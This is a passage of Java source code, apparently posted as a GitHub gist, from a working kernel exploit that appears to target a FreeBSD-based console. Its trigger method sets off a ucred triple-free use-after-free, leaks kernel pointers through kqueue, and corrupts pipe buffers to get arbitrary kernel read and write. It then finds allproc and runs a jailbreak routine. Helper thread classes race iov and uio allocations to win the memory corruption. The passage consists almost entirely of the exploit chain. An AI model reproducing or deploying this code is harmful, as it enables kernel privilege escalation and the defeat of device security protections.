| } | |
| } | |
| public boolean trigger() throws Exception { | |
| Socket s = new Socket(LOG_IP, LOG_PORT); | |
| out = new PrintWriter(s.getOutputStream(), true); | |
| cpusetSetAffinity(MAIN_CORE); | |
| rtprioThread(256); | |
| setup(); | |
| // Trigger vulnerability. | |
| triggerUcredTripleFree(); | |
| // Leak pointers from kqueue. | |
| leakKqueue(); | |
| // Leak fd_files from kq_fdp. | |
| long fd_files = kreadSlow64(kq_fdp); | |
| fdt_ofiles = fd_files + 0x08; | |
| log("[+] fdt_ofiles: " + Long.toHexString(fdt_ofiles)); | |
| long masterRpipeFile = | |
| kreadSlow64(fdt_ofiles + kapi.getMasterPipeFd().get(0) * FILEDESCENT_SIZE); | |
| log("[+] masterRpipeFile: " + Long.toHexString(masterRpipeFile)); | |
| long victimRpipeFile = | |
| kreadSlow64(fdt_ofiles + kapi.getVictimPipeFd().get(0) * FILEDESCENT_SIZE); | |
| log("[+] victimRpipeFile: " + Long.toHexString(victimRpipeFile)); | |
| long masterRpipeData = kreadSlow64(masterRpipeFile + 0x00); | |
| log("[+] masterRpipeData: " + Long.toHexString(masterRpipeData)); | |
| long victimRpipeData = kreadSlow64(victimRpipeFile + 0x00); | |
| log("[+] victimRpipeData: " + Long.toHexString(victimRpipeData)); | |
| // Corrupt pipebuf of masterRpipeFd. | |
| Buffer masterPipebuf = new Buffer(PIPEBUF_SIZE); | |
| masterPipebuf.putInt(0x00, 0); // cnt | |
| masterPipebuf.putInt(0x04, 0); // in | |
| masterPipebuf.putInt(0x08, 0); // out | |
| masterPipebuf.putInt(0x0C, PAGE_SIZE); // size | |
| masterPipebuf.putLong(0x10, victimRpipeData); // buffer | |
| kwriteSlow(masterRpipeData, masterPipebuf); | |
| log("[+] Arbitrary R/W achieved."); | |
| // Increase reference counts for the pipes. | |
| fhold(fget(kapi.getMasterPipeFd().get(0))); | |
| fhold(fget(kapi.getMasterPipeFd().get(1))); | |
| fhold(fget(kapi.getVictimPipeFd().get(0))); | |
| fhold(fget(kapi.getVictimPipeFd().get(1))); | |
| // Remove rthdr pointers from triplets. | |
| for (int i = 0; i < triplets.length; i++) { | |
| removeRthrFromSocket(ipv6Socks[triplets[i]]); | |
| } | |
| // Remove triple freed file from free list. | |
| removeUafFile(); | |
| // Find allproc. | |
| allproc = findAllProc(); | |
| log("[+] allproc: " + Long.toHexString(allproc)); | |
| kapi.setAllProc(allproc); | |
| // Jailbreak. | |
| jailbreak(); | |
| cleanup(); | |
| s.close(); | |
| return true; | |
| } | |
| class WorkerState { | |
| private final int totalWorkers; | |
| private int workersStartedWork = 0; | |
| private int workersFinishedWork = 0; | |
| private int workCommand = -1; | |
| public WorkerState(int totalWorkers) { | |
| this.totalWorkers = totalWorkers; | |
| } | |
| public synchronized void signalWork(int command) { | |
| workersStartedWork = 0; | |
| workersFinishedWork = 0; | |
| workCommand = command; | |
| notifyAll(); | |
| while (workersStartedWork < totalWorkers) { | |
| try { | |
| wait(); | |
| } catch (InterruptedException e) { | |
| // Ignore. | |
| } | |
| } | |
| } | |
| public synchronized void waitForFinished() { | |
| while (workersFinishedWork < totalWorkers) { | |
| try { | |
| wait(); | |
| } catch (InterruptedException e) { | |
| // Ignore. | |
| } | |
| } | |
| workCommand = -1; | |
| } | |
| public synchronized int waitForWork() throws InterruptedException { | |
| while (workCommand == -1 || workersFinishedWork != 0) { | |
| wait(); | |
| } | |
| workersStartedWork++; | |
| if (workersStartedWork == totalWorkers) { | |
| notifyAll(); | |
| } | |
| return workCommand; | |
| } | |
| public synchronized void signalFinished() { | |
| workersFinishedWork++; | |
| if (workersFinishedWork == totalWorkers) { | |
| notifyAll(); | |
| } | |
| } | |
| } | |
| class IovThread extends Thread { | |
| private final WorkerState state; | |
| public IovThread(WorkerState state) { | |
| this.state = state; | |
| } | |
| public void run() { | |
| cpusetSetAffinity(MAIN_CORE); | |
| rtprioThread(256); | |
| try { | |
| while (true) { | |
| state.waitForWork(); | |
| // Allocate iov and block thread. | |
| recvmsg(iovSs0, msg, 0); | |
| state.signalFinished(); | |
| } | |
| } catch (InterruptedException e) { | |
| // Ignore. | |
| } | |
| } | |
| } | |
| class UioThread extends Thread { | |
| private final WorkerState state; | |
| public UioThread(WorkerState state) { | |
| this.state = state; | |
| } | |
| public void run() { | |
| cpusetSetAffinity(MAIN_CORE); | |
| rtprioThread(256); | |
| try { | |
| while (true) { | |
| int command = state.waitForWork(); | |
| // Allocate uio and block thread. | |
| if (command == COMMAND_UIO_READ) { | |
| writev(uioSs1, uioIovRead, UIO_IOV_NUM); | |
| } else if (command == COMMAND_UIO_WRITE) { | |
| readv(uioSs0, uioIovWrite, UIO_IOV_NUM); | |
| } | |
| state.signalFinished(); | |
| } | |
| } catch (InterruptedException e) { | |
| // Ignore. | |
| } | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment